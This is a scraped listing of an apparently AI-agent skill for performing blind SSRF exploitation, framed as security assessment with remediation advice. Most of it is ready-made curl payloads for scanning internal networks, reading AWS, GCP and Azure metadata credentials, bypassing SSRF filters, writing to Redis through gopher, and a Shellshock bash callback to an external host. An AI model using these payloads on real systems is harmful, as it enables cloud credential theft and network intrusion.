[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFNJJ2SQ2Y99J4MNFGFBX7":3,"skill-same:01M6AFNJJ2SQ2Y99J4MNFGFBX7":111},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":29,"publishedAt":50,"linkOnly":51,"markdownContent":52,"markdownBody":53,"frontMatter":54,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":73,"repositoryHtmlUrl":74,"repositoryHomepageUrl":75,"ownerHtmlUrl":76,"ownerBlogUrl":77,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M6AFNJJ2SQ2Y99J4MNFGFBX7","performing-blind-ssrf-exploitation",null,"Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band techniques such as Burp Collaborator DNS interactions and timing analysis, to reach internal services and cloud metadata endpoints even when server responses are not reflected. Use when testing URL\u002Fwebhook parameters, PDF generators, image processors, or import\u002Fpreview features where SSRF output cannot be observed directly.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-blind-ssrf-exploitation\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49],"performing blind ssrf exploitation","ssrf","exploitation","t1078","internal-network","cloud-metadata","burp-collaborator","out-of-band","blind-ssrf","analysis","t1505","web-application-security","PDF","network","dns","server","cybersecurity","security","image","testing","2026-11-10 10:12:30",false,"---\nname: performing-blind-ssrf-exploitation\ndescription: Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band\n  techniques such as Burp Collaborator DNS interactions and timing analysis, to reach internal\n  services and cloud metadata endpoints even when server responses are not reflected. Use when\n  testing URL\u002Fwebhook parameters, PDF generators, image processors, or import\u002Fpreview features\n  where SSRF output cannot be observed directly.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- blind-ssrf\n- ssrf\n- out-of-band\n- burp-collaborator\n- cloud-metadata\n- internal-network\n- oob-detection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1078.004\n---\n\n# Performing Blind SSRF Exploitation\n\n## When to Use\n- When testing URL\u002Fwebhook input parameters where server-side responses are not reflected\n- During assessment of applications that fetch external resources (avatars, previews, imports)\n- When testing PDF generators, image processors, or document converters for SSRF\n- During cloud security assessments to detect metadata endpoint access\n- When evaluating webhook functionality and URL validation implementations\n\n## Prerequisites\n- Burp Suite Professional with Burp Collaborator for OOB detection\n- interact.sh or webhook.site for external callback monitoring\n- Understanding of SSRF attack vectors and internal network enumeration\n- Knowledge of cloud metadata endpoints (AWS, GCP, Azure)\n- VPS or controlled server for advanced exploitation callback handling\n- Python with requests library for automation scripts\n\n## Workflow\n\n### Step 1 — Identify Blind SSRF Input Points\n```bash\n# Common SSRF-susceptible parameters:\n# url=, uri=, path=, dest=, redirect=, src=, source=\n# link=, imageURL=, callback=, webhook=, feed=, import=\n\n# Test URL fetch functionality\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch-url \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\": \"http:\u002F\u002FBURP-COLLABORATOR-SUBDOMAIN.oastify.com\"}'\n\n# Test webhook configuration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fwebhooks \\\n  -H \"Authorization: Bearer TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"callback_url\": \"http:\u002F\u002FCOLLABORATOR.oastify.com\u002Fwebhook\"}'\n\n# Test image\u002Favatar URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile\u002Favatar \\\n  -H \"Authorization: Bearer TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"avatar_url\": \"http:\u002F\u002FCOLLABORATOR.oastify.com\u002Favatar.png\"}'\n\n# Test document import\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fimport \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"import_url\": \"http:\u002F\u002FCOLLABORATOR.oastify.com\u002Fdata.csv\"}'\n```\n\n### Step 2 — Confirm Blind SSRF with Out-of-Band Detection\n```bash\n# Use Burp Collaborator for DNS + HTTP callbacks\n# Generate collaborator payload: xxxxxx.oastify.com\n\n# DNS-based detection (works even with HTTP blocked)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fdns-only-test.COLLABORATOR.oastify.com\"}'\n# Check Collaborator for DNS lookups\n\n# HTTP-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fhttp-test.COLLABORATOR.oastify.com\"}'\n# Check for HTTP requests in Collaborator\n\n# interact.sh alternative\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002FRANDOM.interact.sh\"}'\n# Monitor interact.sh dashboard for interactions\n```\n\n### Step 3 — Enumerate Internal Network\n```bash\n# Scan internal IP ranges via blind SSRF\n# Use timing differences to determine if hosts are alive\n\n# Scan common internal ranges\nfor ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do\n  start=$(date +%s%N)\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d \"{\\\"url\\\": \\\"http:\u002F\u002F$ip\u002F\\\"}\" -s -o \u002Fdev\u002Fnull --max-time 5\n  end=$(date +%s%N)\n  elapsed=$(( (end - start) \u002F 1000000 ))\n  echo \"$ip: ${elapsed}ms\"\ndone\n\n# Port scanning via blind SSRF\nfor port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n    -d \"{\\\"url\\\": \\\"http:\u002F\u002F127.0.0.1:$port\u002F\\\"}\" -s -o \u002Fdev\u002Fnull -w \"%{time_total}\\n\"\n  echo \"Port $port tested\"\ndone\n\n# Use gopher:\u002F\u002F for more advanced internal service interaction\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"gopher:\u002F\u002F127.0.0.1:6379\u002F_INFO\"}'\n```\n\n### Step 4 — Access Cloud Metadata Endpoints\n```bash\n# AWS metadata (IMDSv1)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}'\n\n# AWS IAM credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"}'\n\n# GCP metadata\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\"}'\n\n# Azure metadata\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\"}'\n\n# DNS rebinding for metadata access (bypass IP blocking)\n# Use services like rebinder.net to create DNS rebinding domains\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002FA.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com\u002F\"}'\n```\n\n### Step 5 — Bypass SSRF Filters\n```bash\n# IP representation bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F0x7f000001\u002F\"}'       # Hex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F2130706433\u002F\"}'         # Decimal\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F0177.0.0.1\u002F\"}'         # Octal\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F127.1\u002F\"}'              # Short\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F[::1]\u002F\"}'              # IPv6\n\n# URL parsing confusion\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002Ftarget.com@127.0.0.1\u002F\"}'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F127.0.0.1#@target.com\u002F\"}'\n\n# Redirect-based bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fattacker.com\u002Fredirect?url=http:\u002F\u002F169.254.169.254\u002F\"}'\n\n# DNS rebinding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fmake-169-254-169-254-rr.1u.ms\u002F\"}'\n```\n\n### Step 6 — Escalate Blind SSRF to Data Exfiltration\n```bash\n# Exfiltrate data via DNS (when only DNS callback works)\n# If you achieve SSRF to a service that reflects data:\n# Chain: SSRF -> internal service -> DNS exfiltration\n\n# Use gopher protocol for Redis command execution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20ssrf_test%20exploited%0AQUIT\"}'\n\n# Chain blind SSRF with Shellshock on internal hosts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Finternal-cgi-server\u002Fcgi-bin\u002Ftest.sh\"}'\n# With User-Agent: () { :; }; \u002Fbin\u002Fbash -c \"ping -c1 COLLABORATOR.oastify.com\"\n\n# Exploit internal services via SSRF\n# Redis: write SSH key\n# Memcached: inject serialized objects\n# Elasticsearch: read indices\n# Internal API: access authenticated endpoints\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Blind SSRF | Server makes request but response is not visible to attacker |\n| Out-of-Band Detection | Using external callbacks (DNS, HTTP) to confirm SSRF execution |\n| DNS Rebinding | Technique to bypass IP-based SSRF filters by changing DNS resolution |\n| Cloud Metadata | Instance metadata endpoints accessible via SSRF for credential theft |\n| Gopher Protocol | Protocol allowing crafted payloads to interact with internal TCP services |\n| Time-Based Detection | Detecting SSRF success by measuring response time differences |\n| SSRF Chain | Combining SSRF with other vulnerabilities for greater impact |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Collaborator | Out-of-band interaction server for DNS and HTTP callback detection |\n| interact.sh | Open-source OOB interaction tool by ProjectDiscovery |\n| SSRFmap | Automated SSRF detection and exploitation framework |\n| Gopherus | Generate gopher payloads for exploiting internal services via SSRF |\n| webhook.site | Free webhook receiver for testing SSRF callbacks |\n| rebinder.net | DNS rebinding service for bypassing SSRF IP filters |\n\n## Common Scenarios\n\n1. **Cloud Credential Theft** — Exploit blind SSRF to access AWS\u002FGCP\u002FAzure metadata endpoints and steal IAM credentials for cloud account compromise\n2. **Internal Service Discovery** — Use timing-based blind SSRF to enumerate internal network hosts and open ports\n3. **Redis Exploitation** — Chain blind SSRF with gopher:\u002F\u002F protocol to execute commands on internal Redis instances\n4. **Webhook Abuse** — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels\n5. **PDF Generator SSRF** — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents\n\n## Output Format\n\n```\n## Blind SSRF Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch-url\n- **Detection Method**: Burp Collaborator DNS + HTTP callback\n- **Internal Access Confirmed**: Yes\n\n### Findings\n| # | Input Point | Payload | Detection | Impact |\n|---|------------|---------|-----------|--------|\n| 1 | POST \u002Fapi\u002Ffetch url parameter | http:\u002F\u002Fcollaborator | HTTP callback | Confirmed SSRF |\n| 2 | POST \u002Fapi\u002Favatar avatar_url | http:\u002F\u002F169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |\n| 3 | POST \u002Fapi\u002Fwebhook callback | gopher:\u002F\u002F127.0.0.1:6379 | Redis write confirmed | RCE potential |\n\n### Internal Network Map\n| Host | Port | Service | Accessible |\n|------|------|---------|-----------|\n| 10.0.0.5 | 6379 | Redis | Yes |\n| 10.0.0.10 | 9200 | Elasticsearch | Yes |\n| 169.254.169.254 | 80 | AWS Metadata | Yes |\n\n### Remediation\n- Implement allowlist of permitted external domains for URL fetching\n- Block requests to private IP ranges and cloud metadata endpoints\n- Use IMDSv2 (token-required) for AWS instance metadata\n- Disable unused URL schemes (gopher, file, dict)\n- Implement network-level segmentation for application servers\n```\n","# Performing Blind SSRF Exploitation\n\n## When to Use\n- When testing URL\u002Fwebhook input parameters where server-side responses are not reflected\n- During assessment of applications that fetch external resources (avatars, previews, imports)\n- When testing PDF generators, image processors, or document converters for SSRF\n- During cloud security assessments to detect metadata endpoint access\n- When evaluating webhook functionality and URL validation implementations\n\n## Prerequisites\n- Burp Suite Professional with Burp Collaborator for OOB detection\n- interact.sh or webhook.site for external callback monitoring\n- Understanding of SSRF attack vectors and internal network enumeration\n- Knowledge of cloud metadata endpoints (AWS, GCP, Azure)\n- VPS or controlled server for advanced exploitation callback handling\n- Python with requests library for automation scripts\n\n## Workflow\n\n### Step 1 — Identify Blind SSRF Input Points\n```bash\n# Common SSRF-susceptible parameters:\n# url=, uri=, path=, dest=, redirect=, src=, source=\n# link=, imageURL=, callback=, webhook=, feed=, import=\n\n# Test URL fetch functionality\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch-url \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\": \"http:\u002F\u002FBURP-COLLABORATOR-SUBDOMAIN.oastify.com\"}'\n\n# Test webhook configuration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fwebhooks \\\n  -H \"Authorization: Bearer TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"callback_url\": \"http:\u002F\u002FCOLLABORATOR.oastify.com\u002Fwebhook\"}'\n\n# Test image\u002Favatar URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile\u002Favatar \\\n  -H \"Authorization: Bearer TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"avatar_url\": \"http:\u002F\u002FCOLLABORATOR.oastify.com\u002Favatar.png\"}'\n\n# Test document import\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fimport \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"import_url\": \"http:\u002F\u002FCOLLABORATOR.oastify.com\u002Fdata.csv\"}'\n```\n\n### Step 2 — Confirm Blind SSRF with Out-of-Band Detection\n```bash\n# Use Burp Collaborator for DNS + HTTP callbacks\n# Generate collaborator payload: xxxxxx.oastify.com\n\n# DNS-based detection (works even with HTTP blocked)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fdns-only-test.COLLABORATOR.oastify.com\"}'\n# Check Collaborator for DNS lookups\n\n# HTTP-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fhttp-test.COLLABORATOR.oastify.com\"}'\n# Check for HTTP requests in Collaborator\n\n# interact.sh alternative\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002FRANDOM.interact.sh\"}'\n# Monitor interact.sh dashboard for interactions\n```\n\n### Step 3 — Enumerate Internal Network\n```bash\n# Scan internal IP ranges via blind SSRF\n# Use timing differences to determine if hosts are alive\n\n# Scan common internal ranges\nfor ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do\n  start=$(date +%s%N)\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d \"{\\\"url\\\": \\\"http:\u002F\u002F$ip\u002F\\\"}\" -s -o \u002Fdev\u002Fnull --max-time 5\n  end=$(date +%s%N)\n  elapsed=$(( (end - start) \u002F 1000000 ))\n  echo \"$ip: ${elapsed}ms\"\ndone\n\n# Port scanning via blind SSRF\nfor port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n    -d \"{\\\"url\\\": \\\"http:\u002F\u002F127.0.0.1:$port\u002F\\\"}\" -s -o \u002Fdev\u002Fnull -w \"%{time_total}\\n\"\n  echo \"Port $port tested\"\ndone\n\n# Use gopher:\u002F\u002F for more advanced internal service interaction\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"gopher:\u002F\u002F127.0.0.1:6379\u002F_INFO\"}'\n```\n\n### Step 4 — Access Cloud Metadata Endpoints\n```bash\n# AWS metadata (IMDSv1)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}'\n\n# AWS IAM credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"}'\n\n# GCP metadata\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\"}'\n\n# Azure metadata\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\"}'\n\n# DNS rebinding for metadata access (bypass IP blocking)\n# Use services like rebinder.net to create DNS rebinding domains\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002FA.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com\u002F\"}'\n```\n\n### Step 5 — Bypass SSRF Filters\n```bash\n# IP representation bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F0x7f000001\u002F\"}'       # Hex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F2130706433\u002F\"}'         # Decimal\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F0177.0.0.1\u002F\"}'         # Octal\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F127.1\u002F\"}'              # Short\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F[::1]\u002F\"}'              # IPv6\n\n# URL parsing confusion\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002Ftarget.com@127.0.0.1\u002F\"}'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch -d '{\"url\": \"http:\u002F\u002F127.0.0.1#@target.com\u002F\"}'\n\n# Redirect-based bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fattacker.com\u002Fredirect?url=http:\u002F\u002F169.254.169.254\u002F\"}'\n\n# DNS rebinding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Fmake-169-254-169-254-rr.1u.ms\u002F\"}'\n```\n\n### Step 6 — Escalate Blind SSRF to Data Exfiltration\n```bash\n# Exfiltrate data via DNS (when only DNS callback works)\n# If you achieve SSRF to a service that reflects data:\n# Chain: SSRF -> internal service -> DNS exfiltration\n\n# Use gopher protocol for Redis command execution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20ssrf_test%20exploited%0AQUIT\"}'\n\n# Chain blind SSRF with Shellshock on internal hosts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch \\\n  -d '{\"url\": \"http:\u002F\u002Finternal-cgi-server\u002Fcgi-bin\u002Ftest.sh\"}'\n# With User-Agent: () { :; }; \u002Fbin\u002Fbash -c \"ping -c1 COLLABORATOR.oastify.com\"\n\n# Exploit internal services via SSRF\n# Redis: write SSH key\n# Memcached: inject serialized objects\n# Elasticsearch: read indices\n# Internal API: access authenticated endpoints\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Blind SSRF | Server makes request but response is not visible to attacker |\n| Out-of-Band Detection | Using external callbacks (DNS, HTTP) to confirm SSRF execution |\n| DNS Rebinding | Technique to bypass IP-based SSRF filters by changing DNS resolution |\n| Cloud Metadata | Instance metadata endpoints accessible via SSRF for credential theft |\n| Gopher Protocol | Protocol allowing crafted payloads to interact with internal TCP services |\n| Time-Based Detection | Detecting SSRF success by measuring response time differences |\n| SSRF Chain | Combining SSRF with other vulnerabilities for greater impact |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Collaborator | Out-of-band interaction server for DNS and HTTP callback detection |\n| interact.sh | Open-source OOB interaction tool by ProjectDiscovery |\n| SSRFmap | Automated SSRF detection and exploitation framework |\n| Gopherus | Generate gopher payloads for exploiting internal services via SSRF |\n| webhook.site | Free webhook receiver for testing SSRF callbacks |\n| rebinder.net | DNS rebinding service for bypassing SSRF IP filters |\n\n## Common Scenarios\n\n1. **Cloud Credential Theft** — Exploit blind SSRF to access AWS\u002FGCP\u002FAzure metadata endpoints and steal IAM credentials for cloud account compromise\n2. **Internal Service Discovery** — Use timing-based blind SSRF to enumerate internal network hosts and open ports\n3. **Redis Exploitation** — Chain blind SSRF with gopher:\u002F\u002F protocol to execute commands on internal Redis instances\n4. **Webhook Abuse** — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels\n5. **PDF Generator SSRF** — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents\n\n## Output Format\n\n```\n## Blind SSRF Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch-url\n- **Detection Method**: Burp Collaborator DNS + HTTP callback\n- **Internal Access Confirmed**: Yes\n\n### Findings\n| # | Input Point | Payload | Detection | Impact |\n|---|------------|---------|-----------|--------|\n| 1 | POST \u002Fapi\u002Ffetch url parameter | http:\u002F\u002Fcollaborator | HTTP callback | Confirmed SSRF |\n| 2 | POST \u002Fapi\u002Favatar avatar_url | http:\u002F\u002F169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |\n| 3 | POST \u002Fapi\u002Fwebhook callback | gopher:\u002F\u002F127.0.0.1:6379 | Redis write confirmed | RCE potential |\n\n### Internal Network Map\n| Host | Port | Service | Accessible |\n|------|------|---------|-----------|\n| 10.0.0.5 | 6379 | Redis | Yes |\n| 10.0.0.10 | 9200 | Elasticsearch | Yes |\n| 169.254.169.254 | 80 | AWS Metadata | Yes |\n\n### Remediation\n- Implement allowlist of permitted external domains for URL fetching\n- Block requests to private IP ranges and cloud metadata endpoints\n- Use IMDSv2 (token-required) for AWS instance metadata\n- Disable unused URL schemes (gopher, file, dict)\n- Implement network-level segmentation for application servers\n```\n",{"name":5,"tags":55,"author":57,"domain":46,"license":15,"version":58,"nist_csf":59,"subdomain":41,"description":7,"mitre_attack":64},[38,31,37,36,35,34,56],"oob-detection","mahipal","1.0",[60,61,62,63],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[65,66,67,68,69],"T1190","T1059.007","T1505.003","T1083","T1078.004","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-blind-ssrf-exploitation",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":81,"prompt":91,"zipAvailable":92},[82,85,88],{"tool":83,"command":84},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-blind-ssrf-exploitation",{"tool":86,"command":87},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-blind-ssrf-exploitation",{"tool":89,"command":90},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-blind-ssrf-exploitation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-blind-ssrf-exploitation\u002FSKILL.md",true,[94,99,105],{"path":95,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-blind-ssrf-exploitation\u002FLICENSE",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"references\u002Fapi-reference.md","REFERENCE","参考文档",5152,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-blind-ssrf-exploitation\u002Freferences\u002Fapi-reference.md",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"scripts\u002Fagent.py","SCRIPT","脚本",9542,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-blind-ssrf-exploitation\u002Fscripts\u002Fagent.py",[112,138,162,186,212,239],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":119,"publishedAt":50},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[118],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[120,121,122,123,47,46,124,125,126,127,128,129,130,131,132,133,134,135,136,137],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":145,"publishedAt":50},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes 